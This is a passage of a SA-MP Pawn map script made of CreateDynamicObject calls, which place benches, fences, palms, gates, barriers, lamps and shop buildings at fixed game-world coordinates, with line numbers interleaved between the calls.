    CreateDynamicObject(1256,2734.5000000,-1074.4000244,69.0999985,0.0000000,0.0000000,225.9967194); //object(stonebench1) (1)
421
    CreateDynamicObject(1256,2729.5000000,-1070.5999756,69.0999985,0.0000000,0.0000000,235.9967041); //object(stonebench1) (2)
422
    CreateDynamicObject(1256,2742.5000000,-1090.0999756,69.1999969,0.0000000,0.0000000,191.9918213); //object(stonebench1) (3)
423
    CreateDynamicObject(1256,2744.0000000,-1117.8000488,69.1999969,0.0000000,0.0000000,179.9915771); //object(stonebench1) (4)
424
    CreateDynamicObject(1215,2748.0000000,-1109.8000488,68.1999969,0.0000000,0.0000000,0.0000000); //object(bollardlight) (1)
425
    CreateDynamicObject(1215,2746.6999512,-1091.8000488,68.1999969,0.0000000,0.0000000,0.0000000); //object(bollardlight) (2)
426
    CreateDynamicObject(1215,2739.3999023,-1074.3000488,68.0999985,0.0000000,0.0000000,0.0000000); //object(bollardlight) (3)
427
    CreateDynamicObject(1553,2727.1999512,-1107.3994141,67.2399979,0.0000000,0.0000000,90.0000000); //object(vegasmashfnce_gate) (14)
428
    CreateDynamicObject(1553,2726.3000488,-1107.3994141,67.2399979,0.0000000,0.0000000,90.0000000); //object(vegasmashfnce_gate) (14)
429
    CreateDynamicObject(1553,2725.3999023,-1107.3994141,67.2399979,0.0000000,0.0000000,90.0000000); //object(vegasmashfnce_gate) (14)
430
    CreateDynamicObject(1553,2724.6000977,-1107.3994141,67.2399979,0.0000000,0.0000000,90.0000000); //object(vegasmashfnce_gate) (14)
431
    CreateDynamicObject(1553,2723.6999512,-1107.3994141,67.2399979,0.0000000,0.0000000,90.0000000); //object(vegasmashfnce_gate) (14)
432
    CreateDynamicObject(1553,2722.6999512,-1107.4000244,67.2399979,0.0000000,0.0000000,90.0000000); //object(vegasmashfnce_gate) (14)
433
    CreateDynamicObject(1553,2721.8000488,-1107.3994141,67.2399979,0.0000000,0.0000000,90.0000000); //object(vegasmashfnce_gate) (14)
434
    CreateDynamicObject(1553,2720.8999023,-1107.3994141,67.2399979,0.0000000,0.0000000,90.0000000); //object(vegasmashfnce_gate) (14)
435
    CreateDynamicObject(1553,2720.1000977,-1107.3994141,67.2399979,0.0000000,0.0000000,90.0000000); //object(vegasmashfnce_gate) (14)
436
    CreateDynamicObject(1553,2719.1999512,-1107.3994141,67.2399979,0.0000000,0.0000000,90.0000000); //object(vegasmashfnce_gate) (14)
437
    CreateDynamicObject(1553,2718.3000488,-1107.3994141,67.2399979,0.0000000,0.0000000,90.0000000); //object(vegasmashfnce_gate) (14)
438
    CreateDynamicObject(3337,2845.8000488,-1899.1999512,8.8999996,0.0000000,0.0000000,126.0000000); //object(cxrf_desertsig) (1)
439
    CreateDynamicObject(1318,2845.8000488,-1899.0000000,12.1000004,88.0000000,90.0000000,216.9993744); //object(arrow) (1)
440
    CreateDynamicObject(5170,2868.6000977,-1951.9000244,12.1999998,0.0000000,0.0000000,270.0000000); //object(imnrmpy2_las2) (1)
441
    CreateDynamicObject(1290,2863.5000000,-1975.3000488,15.6999998,0.0000000,0.0000000,0.0000000); //object(lamppost2) (1)
442
    CreateDynamicObject(3337,2846.3999023,-2042.1999512,9.1000004,0.0000000,0.0000000,240.0000000); //object(cxrf_desertsig) (4)
443
    CreateDynamicObject(1318,2846.3999023,-2042.4000244,12.3000002,87.9950562,90.0000000,151.4942627); //object(arrow) (2)
444
    CreateDynamicObject(3578,2852.1000977,-1986.3000488,9.1999998,0.0000000,0.0000000,240.0000000); //object(dockbarr1_la) (2)
445
    CreateDynamicObject(3578,2852.1000977,-1974.8000488,9.1999998,0.0000000,0.0000000,300.0000000); //object(dockbarr1_la) (3)
446
    CreateDynamicObject(1237,2854.7998047,-1982.0000000,9.8999996,0.0000000,0.0000000,0.0000000); //object(strtbarrier01) (1)
447
    CreateDynamicObject(1237,2854.8000488,-1979.4000244,9.8999996,0.0000000,0.0000000,0.0000000); //object(strtbarrier01) (23)
448
    CreateDynamicObject(1256,2866.8999023,-1930.0999756,10.8000002,0.0000000,0.0000000,0.0000000); //object(stonebench1) (5)
449
    CreateDynamicObject(1256,2866.8999023,-1933.4000244,10.8000002,0.0000000,0.0000000,0.0000000); //object(stonebench1) (6)
450
    CreateDynamicObject(1256,2866.8999023,-1936.6999512,10.8000002,0.0000000,0.0000000,0.0000000); //object(stonebench1) (7)
451
    CreateDynamicObject(1256,2867.0000000,-1947.9000244,10.8000002,0.0000000,0.0000000,0.0000000); //object(stonebench1) (8)
452
    CreateDynamicObject(1256,2867.0000000,-1951.4000244,10.8000002,0.0000000,0.0000000,0.0000000); //object(stonebench1) (9)
453
    CreateDynamicObject(1256,2867.0000000,-1954.8000488,10.8000002,0.0000000,0.0000000,0.0000000); //object(stonebench1) (10)
454
    CreateDynamicObject(1256,2866.8999023,-1966.5999756,10.8000002,0.0000000,0.0000000,0.0000000); //object(stonebench1) (11)
455
    CreateDynamicObject(1256,2866.8999023,-1970.0000000,10.8000002,0.0000000,0.0000000,0.0000000); //object(stonebench1) (12)
456
    CreateDynamicObject(1256,2866.8999023,-1973.5000000,10.8000002,0.0000000,0.0000000,0.0000000); //object(stonebench1) (13)
457
    CreateDynamicObject(1256,2866.8000488,-1984.8000488,10.8000002,0.0000000,0.0000000,0.0000000); //object(stonebench1) (14)
458
    CreateDynamicObject(1256,2866.8000488,-1988.0000000,10.8000002,0.0000000,0.0000000,0.0000000); //object(stonebench1) (15)
459
    CreateDynamicObject(1256,2866.8000488,-1991.4000244,10.8000002,0.0000000,0.0000000,0.0000000); //object(stonebench1) (16)
460
    CreateDynamicObject(1256,2866.6000977,-2003.0000000,10.8000002,0.0000000,0.0000000,0.0000000); //object(stonebench1) (17)
461
    CreateDynamicObject(1256,2866.6000977,-2006.4000244,10.8000002,0.0000000,0.0000000,0.0000000); //object(stonebench1) (18)
462
    CreateDynamicObject(1256,2866.8000488,-2009.9000244,10.8000002,0.0000000,0.0000000,0.0000000); //object(stonebench1) (19)
463
    CreateDynamicObject(1360,2866.8999023,-1960.8000488,10.8999996,0.0000000,0.0000000,0.0000000); //object(cj_bush_prop3) (1)
464
    CreateDynamicObject(1360,2866.6999512,-1942.4000244,10.8999996,0.0000000,0.0000000,0.0000000); //object(cj_bush_prop3) (2)
465
    CreateDynamicObject(1360,2866.8999023,-1926.0999756,10.8999996,0.0000000,0.0000000,0.0000000); //object(cj_bush_prop3) (3)
466
    CreateDynamicObject(1360,2866.6999512,-1979.4000244,10.8999996,0.0000000,0.0000000,0.0000000); //object(cj_bush_prop3) (4)
467
    CreateDynamicObject(1360,2866.8000488,-1997.4000244,10.8999996,0.0000000,0.0000000,0.0000000); //object(cj_bush_prop3) (5)
468
    CreateDynamicObject(1360,2866.8000488,-2013.1999512,10.8999996,0.0000000,0.0000000,0.0000000); //object(cj_bush_prop3) (6)
469
    CreateDynamicObject(1229,2863.3999023,-1958.0999756,11.6999998,0.0000000,0.0000000,180.0000000); //object(bussign1) (4)
470
    CreateDynamicObject(1229,2863.3000488,-1939.4000244,11.6999998,0.0000000,0.0000000,179.9945068); //object(bussign1) (5)
471
    CreateDynamicObject(1229,2863.1992188,-1996.1992188,11.6999998,0.0000000,0.0000000,359.9890137); //object(bussign1) (6)
472
    CreateDynamicObject(1229,2863.1992188,-2020.5000000,11.6999998,0.0000000,0.0000000,359.9835205); //object(bussign1) (7)
473
    CreateDynamicObject(970,2868.6999512,-1974.0000000,10.6999998,0.0000000,0.0000000,270.0000000); //object(fencesmallb) (2)
474
    CreateDynamicObject(970,2868.6999512,-1984.0000000,10.6999998,0.0000000,0.0000000,270.0000000); //object(fencesmallb) (2)
475
    CreateDynamicObject(970,2868.6999512,-1988.0999756,10.6999998,0.0000000,0.0000000,270.0000000); //object(fencesmallb) (2)
476
    CreateDynamicObject(970,2868.6999512,-1992.1999512,10.6999998,0.0000000,0.0000000,270.0000000); //object(fencesmallb) (2)
477
    CreateDynamicObject(970,2868.6999512,-1969.9000244,10.6999998,0.0000000,0.0000000,270.0000000); //object(fencesmallb) (2)
478
    CreateDynamicObject(970,2868.6999512,-1965.8000488,10.6999998,0.0000000,0.0000000,270.0000000); //object(fencesmallb) (2)
479
    CreateDynamicObject(970,2868.6000977,-1955.6999512,10.6999998,0.0000000,0.0000000,270.0000000); //object(fencesmallb) (2)
480
    CreateDynamicObject(970,2868.6000977,-1951.5999756,10.6999998,0.0000000,0.0000000,270.0000000); //object(fencesmallb) (2)
481
    CreateDynamicObject(970,2868.6000977,-1947.5000000,10.6999998,0.0000000,0.0000000,270.0000000); //object(fencesmallb) (2)
482
    CreateDynamicObject(970,2868.6999512,-1937.5000000,10.6999998,0.0000000,0.0000000,270.0000000); //object(fencesmallb) (2)
483
    CreateDynamicObject(970,2868.6999512,-1933.4000244,10.6999998,0.0000000,0.0000000,270.0000000); //object(fencesmallb) (2)
484
    CreateDynamicObject(970,2868.6999512,-1929.3000488,10.6999998,0.0000000,0.0000000,270.0000000); //object(fencesmallb) (2)
485
    CreateDynamicObject(970,2868.6999512,-2002.8000488,10.6999998,0.0000000,0.0000000,270.0000000); //object(fencesmallb) (2)
486
    CreateDynamicObject(970,2868.6999512,-2006.9000244,10.6999998,0.0000000,0.0000000,270.0000000); //object(fencesmallb) (2)
487
    CreateDynamicObject(970,2868.6999512,-2011.0000000,10.6999998,0.0000000,0.0000000,270.0000000); //object(fencesmallb) (2)
488
    CreateDynamicObject(8843,2838.0000000,-1980.6999512,10.0000000,0.0000000,0.0000000,90.0000000); //object(arrows01_lvs) (3)
489
    CreateDynamicObject(1422,2859.3999023,-1978.9000244,10.3000002,0.0000000,0.0000000,26.0000000); //object(dyn_roadbarrier_5) (2)
490
    CreateDynamicObject(1422,2859.3999023,-1982.5999756,10.3000002,0.0000000,0.0000000,332.0000000); //object(dyn_roadbarrier_5) (3)
491
    CreateDynamicObject(1422,2856.6000977,-1982.0000000,10.3000002,0.0000000,0.0000000,0.0000000); //object(dyn_roadbarrier_5) (4)
492
    CreateDynamicObject(7952,2730.3999023,-1149.5000000,69.0999985,0.0000000,0.0000000,0.0000000); //object(miragehedge09) (1)
493
    CreateDynamicObject(710,2729.8999023,-1147.9000244,82.6999969,0.0000000,0.0000000,204.9993896); //object(vgs_palm01) (1)
494
    CreateDynamicObject(710,2705.1000977,-1078.8000488,81.4000015,0.0000000,0.0000000,204.9993896); //object(vgs_palm01) (2)
495
    CreateDynamicObject(620,2730.3000488,-1127.6999512,66.9000015,0.0000000,0.0000000,259.9969482); //object(veg_palm04) (1)
496
    CreateDynamicObject(620,2730.1999512,-1170.9000244,67.5999985,0.0000000,0.0000000,259.9969482); //object(veg_palm04) (2)
497
    CreateDynamicObject(673,2743.8000488,-1121.6999512,68.0999985,0.0000000,0.0000000,259.9969482); //object(sm_bevhiltree) (1)
498
    CreateDynamicObject(673,2744.5000000,-1099.1999512,68.0999985,0.0000000,0.0000000,179.9969482); //object(sm_bevhiltree) (2)
499
    CreateDynamicObject(673,2739.8999023,-1082.0000000,68.0999985,0.0000000,0.0000000,159.9945068); //object(sm_bevhiltree) (3)
500
    CreateDynamicObject(673,2722.5000000,-1066.8000488,68.0999985,0.0000000,0.0000000,159.9938965); //object(sm_bevhiltree) (4)
501
    CreateDynamicObject(710,2730.3000488,-1102.9000244,83.4000015,0.0000000,0.0000000,204.9993896); //object(vgs_palm01) (3)
502
    CreateDynamicObject(710,2665.8999023,-1078.8000488,82.0999985,0.0000000,0.0000000,204.9993896); //object(vgs_palm01) (4)
503
    CreateDynamicObject(620,2725.3000488,-1084.8000488,66.6999969,0.0000000,0.0000000,259.9969482); //object(veg_palm04) (4)
504
    CreateDynamicObject(620,2685.1000977,-1079.1999512,65.0999985,0.0000000,0.0000000,259.9969482); //object(veg_palm04) (5)
505
    CreateDynamicObject(1422,2861.6000977,-1984.5000000,10.3000002,0.0000000,0.0000000,303.9978638); //object(dyn_roadbarrier_5) (5)
506
    CreateDynamicObject(1237,2862.5000000,-1986.1999512,9.8999996,0.0000000,0.0000000,0.0000000); //object(strtbarrier01) (20)
507
    CreateDynamicObject(1422,2861.5000000,-1976.9000244,10.3000002,0.0000000,0.0000000,57.9956055); //object(dyn_roadbarrier_5) (6)
508
    CreateDynamicObject(1422,2856.6000977,-1979.5999756,10.3000002,0.0000000,0.0000000,0.0000000); //object(dyn_roadbarrier_5) (1)
509
    CreateDynamicObject(1237,2862.3999023,-1975.1999512,9.8999996,0.0000000,0.0000000,0.0000000); //object(strtbarrier01) (19)
510
    CreateDynamicObject(3505,2853.5000000,-2066.1999512,10.1000004,0.0000000,0.0000000,0.0000000); //object(vgsn_nitree_y01) (1)
511
    CreateDynamicObject(3505,2900.6000977,-1967.0999756,2.0000000,0.0000000,0.0000000,0.0000000); //object(vgsn_nitree_y01) (3)
512
    CreateDynamicObject(621,2879.3999023,-1897.6999512,2.5999999,0.0000000,0.0000000,194.9963379); //object(veg_palm02) (1)
513
    CreateDynamicObject(621,2889.1992188,-2018.8994141,1.8000000,0.0000000,0.0000000,194.9963379); //object(veg_palm02) (2)
514
    CreateDynamicObject(8947,2857.7998047,-813.1992188,7.0999999,0.0000000,0.0000000,0.0000000); //object(vgelkup) (1)
515
    CreateDynamicObject(11505,887.4000244,2225.6999512,14.3999996,0.0000000,0.0000000,0.0000000); //object(des_garwcanopy) (3)
516
    CreateDynamicObject(8508,890.5000000,2211.5000000,6.9000001,0.0000000,0.0000000,0.0000000); //object(genshop01_lvs) (2)
517
    CreateDynamicObject(8508,874.5000000,2211.5000000,6.9000001,0.0000000,0.0000000,179.9945068); //object(genshop01_lvs) (3)
518
    CreateDynamicObject(8508,858.4000244,2211.5000000,6.9000001,0.0000000,0.0000000,0.0000000); //object(genshop01_lvs) (4)
519
    CreateDynamicObject(3566,880.4000244,2227.1999512,7.8000002,0.0000000,0.0000000,180.0000000); //object(lasntrk1) (11)
520
    CreateDynamicObject(11505,887.4000244,2236.6000977,14.3999996,0.0000000,0.0000000,0.0000000); //object(des_garwcanopy) (9)
521
    CreateDynamicObject(3566,883.7000122,2227.1999512,7.8000002,0.0000000,0.0000000,180.0000000); //object(lasntrk1) (14)
522
    CreateDynamicObject(3566,887.0000000,2227.1999512,7.8000002,0.0000000,0.0000000,180.0000000); //object(lasntrk1) (15)
523
    CreateDynamicObject(3566,890.2999878,2227.1999512,7.8000002,0.0000000,0.0000000,180.0000000); //object(lasntrk1) (16)
524
    CreateDynamicObject(3566,893.5999756,2227.1999512,7.8000002,0.0000000,0.0000000,180.0000000); //object(lasntrk1) (17)
525
    CreateDynamicObject(3566,896.9000244,2227.1999512,7.8000002,0.0000000,0.0000000,180.0000000); //object(lasntrk1) (18)
526
    CreateDynamicObject(3566,877.0999756,2227.1999512,7.8000002,0.0000000,0.0000000,180.0000000); //object(lasntrk1) (20)
527
    CreateDynamicObject(3566,877.2000122,2244.8000488,7.8000002,0.0000000,0.0000000,180.0000000); //object(lasntrk1) (21)
528
    CreateDynamicObject(3566,880.5000000,2244.8000488,7.8000002,0.0000000,0.0000000,180.0000000); //object(lasntrk1) (23)
529
    CreateDynamicObject(3566,883.7999878,2244.8000488,7.8000002,0.0000000,0.0000000,180.0000000); //object(lasntrk1) (24)
530
    CreateDynamicObject(3566,887.0996094,2244.7998047,7.8000002,0.0000000,0.0000000,179.9945068); //object(lasntrk1) (25)
531
    CreateDynamicObject(3566,890.4000244,2244.8000488,7.8000002,0.0000000,0.0000000,180.0000000); //object(lasntrk1) (26)
532
    CreateDynamicObject(3566,893.7000122,2244.8000488,7.8000002,0.0000000,0.0000000,179.9945068); //object(lasntrk1) (27)
533
    CreateDynamicObject(3566,897.0000000,2244.8000488,7.8000002,0.0000000,0.0000000,179.9945068); //object(lasntrk1) (28)
534
    CreateDynamicObject(11505,887.4000244,2247.5000000,14.3999996,0.0000000,0.0000000,0.0000000); //object(des_garwcanopy) (10)
535
    CreateDynamicObject(8508,874.4000244,2228.8000488,6.9000001,0.0000000,0.0000000,359.9945068); //object(genshop01_lvs) (5)
536
    CreateDynamicObject(8508,874.4000244,2246.1000977,6.9000001,0.0000000,0.0000000,179.9945068); //object(genshop01_lvs) (6)
537
    CreateDynamicObject(8508,874.4000244,2263.3999023,6.9000001,0.0000000,0.0000000,359.9945068); //object(genshop01_lvs) (7)
538
    CreateDynamicObject(8508,890.4000244,2246.1000977,6.9000001,0.0000000,0.0000000,359.9945068); //object(genshop01_lvs) (8)
539
    CreateDynamicObject(8508,890.4000244,2263.3999023,6.9000001,0.0000000,0.0000000,179.9945068); //object(genshop01_lvs) (9)
540
    CreateDynamicObject(8508,858.4000244,2228.8000488,6.9000001,0.0000000,0.0000000,180.0000000); //object(genshop01_lvs) (10)
541
    CreateDynamicObject(8508,858.2999878,2246.1000977,6.9000001,0.0000000,0.0000000,0.0000000); //object(genshop01_lvs) (11)
542
    CreateDynamicObject(8508,858.4000244,2263.3999023,6.9000001,0.0000000,0.0000000,180.0000000); //object(genshop01_lvs) (13)
543
    CreateDynamicObject(5170,855.0996094,2237.8994141,12.8999996,0.0000000,0.0000000,90.0000000); //object(imnrmpy2_las2) (2)
544
    CreateDynamicObject(3566,851.5999756,2210.8999023,7.8000002,0.0000000,0.0000000,179.9945068); //object(lasntrk1) (32)
545
    CreateDynamicObject(3566,851.7000122,2228.5000000,7.8000002,0.0000000,0.0000000,179.9945068); //object(lasntrk1) (33)
546
    CreateDynamicObject(3566,851.7999878,2246.1000977,7.8000002,0.0000000,0.0000000,180.0000000); //object(lasntrk1) (34)
547
    CreateDynamicObject(3566,851.8994141,2263.5996094,7.8000002,0.0000000,0.0000000,179.9945068); //object(lasntrk1) (35)
548
    CreateDynamicObject(3566,854.9000244,2210.8999023,7.8000002,0.0000000,0.0000000,179.9945068); //object(lasntrk1) (36)
549
    CreateDynamicObject(3566,858.2000122,2211.0000000,7.8000002,0.0000000,0.0000000,180.0000000); //object(lasntrk1) (37)
550
    CreateDynamicObject(3566,855.0000000,2228.5000000,7.8000002,0.0000000,0.0000000,179.9945068); //object(lasntrk1) (38)
551
    CreateDynamicObject(3566,855.0999756,2246.0000000,7.8000002,0.0000000,0.0000000,180.0000000); //object(lasntrk1) (39)
552
    CreateDynamicObject(3566,855.2000122,2263.6000977,7.8000002,0.0000000,0.0000000,179.9945068); //object(lasntrk1) (40)
553
    CreateDynamicObject(3566,858.5000000,2263.6000977,7.8000002,0.0000000,0.0000000,179.9945068); //object(lasntrk1) (44)
554
    CreateDynamicObject(3566,858.2999878,2246.0000000,7.8000002,0.0000000,0.0000000,179.2445068); //object(lasntrk1) (45)
555
    CreateDynamicObject(3566,858.2000122,2228.6000977,7.8000002,0.0000000,0.0000000,180.2445068); //object(lasntrk1) (46)
556
    CreateDynamicObject(3660,888.7998047,2201.5996094,12.5000000,0.0000000,0.0000000,179.9945068); //object(lasairfbed_las) (1)
557
    CreateDynamicObject(3660,869.2999878,2201.6000977,12.5000000,0.0000000,0.0000000,179.9945068); //object(lasairfbed_las) (2)
558
    CreateDynamicObject(3660,859.7000122,2201.6000977,12.5000000,0.0000000,0.0000000,180.0000000); //object(lasairfbed_las) (3)
559
    CreateDynamicObject(3660,879.0000000,2273.0000000,12.5000000,0.0000000,0.0000000,359.9890137); //object(lasairfbed_las) (5)
560
    CreateDynamicObject(3660,859.5000000,2273.0000000,12.5000000,0.0000000,0.0000000,359.9890137); //object(lasairfbed_las) (7)
561
    CreateDynamicObject(3660,888.7000122,2273.0000000,12.5000000,0.0000000,0.0000000,359.9890137); //object(lasairfbed_las) (8)
562
    CreateDynamicObject(3660,850.4000244,2210.6999512,12.5000000,0.0000000,0.0000000,89.9945068); //object(lasairfbed_las) (9)
563
    CreateDynamicObject(3660,850.4000244,2230.3000488,12.5000000,0.0000000,0.0000000,89.9945068); //object(lasairfbed_las) (10)
564
    CreateDynamicObject(3660,850.4000244,2249.8999023,12.5000000,0.0000000,0.0000000,89.9945068); //object(lasairfbed_las) (11)
565
    CreateDynamicObject(3660,850.4000244,2263.8000488,12.5000000,0.0000000,0.0000000,89.9945068); //object(lasairfbed_las) (12)
566
    CreateDynamicObject(1553,860.7999878,2236.6999512,8.7500000,0.0000000,0.0000000,270.0000000); //object(vegasmashfnce_gate) (1)
567
    CreateDynamicObject(1553,861.9000244,2236.6999512,8.7500000,0.0000000,0.0000000,270.0000000); //object(vegasmashfnce_gate) (2)
568
    CreateDynamicObject(1553,862.9000244,2236.6999512,8.7500000,0.0000000,0.0000000,270.0000000); //object(vegasmashfnce_gate) (4)
569
    CreateDynamicObject(1553,864.0000000,2236.6999512,8.7500000,0.0000000,0.0000000,270.0000000); //object(vegasmashfnce_gate) (15)
570
    CreateDynamicObject(1553,865.0999756,2236.6999512,8.7500000,0.0000000,0.0000000,270.0000000); //object(vegasmashfnce_gate) (16)
571
    CreateDynamicObject(1553,866.2000122,2236.6999512,8.7500000,0.0000000,0.0000000,270.0000000); //object(vegasmashfnce_gate) (17)
572
    CreateDynamicObject(1553,867.2000122,2236.6999512,8.7500000,0.0000000,0.0000000,270.0000000); //object(vegasmashfnce_gate) (18)
573
    CreateDynamicObject(1553,868.2000122,2236.6999512,8.7500000,0.0000000,0.0000000,270.0000000); //object(vegasmashfnce_gate) (19)
574
    CreateDynamicObject(1553,869.2999878,2236.6999512,8.7500000,0.0000000,0.0000000,270.0000000); //object(vegasmashfnce_gate) (20)
575
    CreateDynamicObject(1553,870.4000244,2236.6999512,8.7500000,0.0000000,0.0000000,270.0000000); //object(vegasmashfnce_gate) (21)
576
    CreateDynamicObject(1553,872.5000000,2236.6999512,8.7500000,0.0000000,0.0000000,270.0000000); //object(vegasmashfnce_gate) (22)
577
    CreateDynamicObject(1553,873.5999756,2236.6999512,8.7500000,0.0000000,0.0000000,270.0000000); //object(vegasmashfnce_gate) (23)
578
    CreateDynamicObject(1553,871.5000000,2236.6999512,8.7500000,0.0000000,0.0000000,270.0000000); //object(vegasmashfnce_gate) (24)
579
    CreateDynamicObject(1553,874.6992188,2236.6992188,8.7500000,0.0000000,0.0000000,270.0000000); //object(vegasmashfnce_gate) (25)
580
    CreateDynamicObject(3337,897.3994141,2219.5000000,9.3000002,0.0000000,0.0000000,339.9993896); //object(cxrf_desertsig) (2)
581
    CreateDynamicObject(1318,897.4000244,2219.1000977,12.3999996,0.0000000,0.0000000,340.0000000); //object(arrow) (4)
582
    CreateDynamicObject(1318,897.6992188,2219.7998047,12.5000000,0.0000000,179.9945068,159.9938965); //object(arrow) (5)
583
    CreateDynamicObject(8843,872.2000122,2236.8999023,10.0000000,0.0000000,0.0000000,0.0000000); //object(arrows01_lvs) (4)
584
    CreateDynamicObject(8843,863.0000000,2236.8000488,10.0000000,0.0000000,0.0000000,180.0000000); //object(arrows01_lvs) (5)
585
    CreateDynamicObject(1256,881.7999878,2224.6999512,10.8999996,0.0000000,0.0000000,0.0000000); //object(stonebench1) (20)
586
    CreateDynamicObject(1256,881.7999878,2235.6999512,10.8999996,0.0000000,0.0000000,0.0000000); //object(stonebench1) (21)
587
    CreateDynamicObject(1256,881.7999878,2246.6999512,10.8999996,0.0000000,0.0000000,0.0000000); //object(stonebench1) (22)
588
    CreateDynamicObject(1256,883.4000244,2246.5000000,10.8999996,0.0000000,0.0000000,180.0000000); //object(stonebench1) (23)
589
    CreateDynamicObject(1256,883.5000000,2235.6999512,10.8999996,0.0000000,0.0000000,179.9945068); //object(stonebench1) (24)
590
    CreateDynamicObject(1256,883.5000000,2224.6000977,10.8999996,0.0000000,0.0000000,179.9945068); //object(stonebench1) (25)
591
    CreateDynamicObject(1256,892.5000000,2224.6992188,10.8999996,0.0000000,0.0000000,179.9945068); //object(stonebench1) (26)
592
    CreateDynamicObject(1256,892.5999756,2235.8000488,10.8999996,0.0000000,0.0000000,179.9945068); //object(stonebench1) (27)
593
    CreateDynamicObject(1256,892.5999756,2246.6999512,10.8999996,0.0000000,0.0000000,179.9945068); //object(stonebench1) (28)
594
    CreateDynamicObject(1256,891.2999878,2246.6999512,10.8999996,0.0000000,0.0000000,359.9945068); //object(stonebench1) (29)
595
    CreateDynamicObject(1256,891.2999878,2235.8000488,10.8999996,0.0000000,0.0000000,359.9890137); //object(stonebench1) (30)
596
    CreateDynamicObject(1256,891.2999878,2224.6999512,10.8999996,0.0000000,0.0000000,359.9890137); //object(stonebench1) (31)
597
    CreateDynamicObject(1359,882.7000122,2220.1999512,11.0000000,0.0000000,0.0000000,0.0000000); //object(cj_bin1) (1)
598
    CreateDynamicObject(1359,892.0000000,2251.3994141,11.0000000,0.0000000,0.0000000,0.0000000); //object(cj_bin1) (2)
599
    CreateDynamicObject(1359,882.6992188,2251.3994141,11.0000000,0.0000000,0.0000000,0.0000000); //object(cj_bin1) (5)
600
    CreateDynamicObject(1359,891.9000244,2220.1999512,11.0000000,0.0000000,0.0000000,0.0000000); //object(cj_bin1) (6)
601
    CreateDynamicObject(1256,855.5999756,2223.1000977,10.8999996,0.0000000,0.0000000,179.9945068); //object(stonebench1) (26)
602
    CreateDynamicObject(1256,855.5999756,2219.1999512,10.8999996,0.0000000,0.0000000,179.9945068); //object(stonebench1) (26)
603
    CreateDynamicObject(1256,855.5999756,2215.6000977,10.8999996,0.0000000,0.0000000,179.9945068); //object(stonebench1) (26)
604
    CreateDynamicObject(1256,855.5999756,2234.3999023,10.8999996,0.0000000,0.0000000,179.9945068); //object(stonebench1) (26)
605
    CreateDynamicObject(1256,855.7000122,2237.8999023,10.8999996,0.0000000,0.0000000,179.9945068); //object(stonebench1) (26)
606
    CreateDynamicObject(1256,855.7000122,2241.3000488,10.8999996,0.0000000,0.0000000,179.9945068); //object(stonebench1) (26)
607
    CreateDynamicObject(1256,855.5999756,2252.8000488,10.8999996,0.0000000,0.0000000,179.9945068); //object(stonebench1) (26)
608
    CreateDynamicObject(1256,855.5999756,2256.1999512,10.8999996,0.0000000,0.0000000,179.9945068); //object(stonebench1) (26)
609
    CreateDynamicObject(1256,855.7000122,2259.6000977,10.8999996,0.0000000,0.0000000,179.9945068); //object(stonebench1) (26)
610
    CreateDynamicObject(1359,855.2999878,2263.3999023,11.0000000,0.0000000,0.0000000,0.0000000); //object(cj_bin1) (5)
611
    CreateDynamicObject(1359,855.2999878,2212.3000488,11.0000000,0.0000000,0.0000000,0.0000000); //object(cj_bin1) (5)
612
    CreateDynamicObject(628,887.4000244,2241.3999023,12.1999998,0.0000000,0.0000000,279.9926758); //object(veg_palmkb4) (1)
613
    CreateDynamicObject(628,855.4000244,2228.6000977,12.3000002,0.0000000,0.0000000,289.9951172); //object(veg_palmkb4) (1)
614
    CreateDynamicObject(628,887.3994141,2230.5000000,12.1999998,0.0000000,0.0000000,289.9951172); //object(veg_palmkb4) (1)
615
    CreateDynamicObject(628,855.5000000,2247.1000977,12.3000002,0.0000000,0.0000000,289.9951172); //object(veg_palmkb4) (1)
616
    CreateDynamicObject(1775,891.0000000,2250.5000000,11.3999996,0.0000000,0.0000000,270.0000000); //object(cj_sprunk1) (2)
617
    CreateDynamicObject(1775,855.0000000,2226.8999023,11.3999996,0.0000000,0.0000000,90.0000000); //object(cj_sprunk1) (3)
618
    CreateDynamicObject(3337,897.9000244,2252.6000977,9.3000002,0.0000000,0.0000000,19.9993896); //object(cxrf_desertsig) (2)
619
    CreateDynamicObject(1318,897.9000244,2253.0000000,12.5000000,0.0000000,179.9945068,199.9938812); //object(arrow) (5)
620
    CreateDynamicObject(1318,898.2000122,2252.3000488,12.3999996,0.0000000,0.0054626,19.9895935); //object(arrow) (5)
621
    CreateDynamicObject(1237,899.0999756,2201.3000488,9.8000002,0.0000000,0.0000000,320.0000000); //object(strtbarrier01) (2)
622
    CreateDynamicObject(1237,899.0999756,2202.1999512,9.8000002,0.0000000,0.0000000,287.9987793); //object(strtbarrier01) (10)
623
    CreateDynamicObject(1237,899.0000000,2272.1000977,9.8000002,0.0000000,0.0000000,287.9956055); //object(strtbarrier01) (11)
624
    CreateDynamicObject(1237,899.0000000,2273.1000977,9.8000002,0.0000000,0.0000000,217.9956055); //object(strtbarrier01) (12)
625
    CreateDynamicObject(1215,897.5999756,2210.1000977,9.5000000,0.0000000,0.0000000,0.0000000); //object(bollardlight) (4)
626
    CreateDynamicObject(1215,886.7999878,2210.1000977,9.5000000,0.0000000,0.0000000,0.0000000); //object(bollardlight) (5)
627
    CreateDynamicObject(1215,876.7000122,2210.1000977,9.5000000,0.0000000,0.0000000,0.0000000); //object(bollardlight) (6)
628
    CreateDynamicObject(1215,866.5999756,2219.6999512,9.5000000,0.0000000,0.0000000,0.0000000); //object(bollardlight) (7)
629
    CreateDynamicObject(1215,869.2000122,2212.3999023,9.5000000,0.0000000,0.0000000,0.0000000); //object(bollardlight) (8)
630
    CreateDynamicObject(1215,866.5999756,2229.1999512,9.5000000,0.0000000,0.0000000,0.0000000); //object(bollardlight) (9)
631
    CreateDynamicObject(1215,866.5999756,2238.8000488,9.5000000,0.0000000,0.0000000,0.0000000); //object(bollardlight) (10)
632
    CreateDynamicObject(1215,866.5999756,2249.5000000,9.5000000,0.0000000,0.0000000,0.0000000); //object(bollardlight) (11)
633
    CreateDynamicObject(1215,869.2000122,2259.8000488,9.5000000,0.0000000,0.0000000,0.0000000); //object(bollardlight) (12)
634
    CreateDynamicObject(1215,876.7000122,2263.3999023,9.5000000,0.0000000,0.0000000,0.0000000); //object(bollardlight) (13)
635
    CreateDynamicObject(1215,886.7999878,2263.3999023,9.5000000,0.0000000,0.0000000,0.0000000); //object(bollardlight) (14)
636
    CreateDynamicObject(1215,897.5999756,2263.3999023,9.5000000,0.0000000,0.0000000,0.0000000); //object(bollardlight) (15)
637
    CreateDynamicObject(14394,899.5000000,2222.2998047,9.5000000,0.0000000,0.0000000,179.9945068); //object(dr_gsnew10) (2)
638
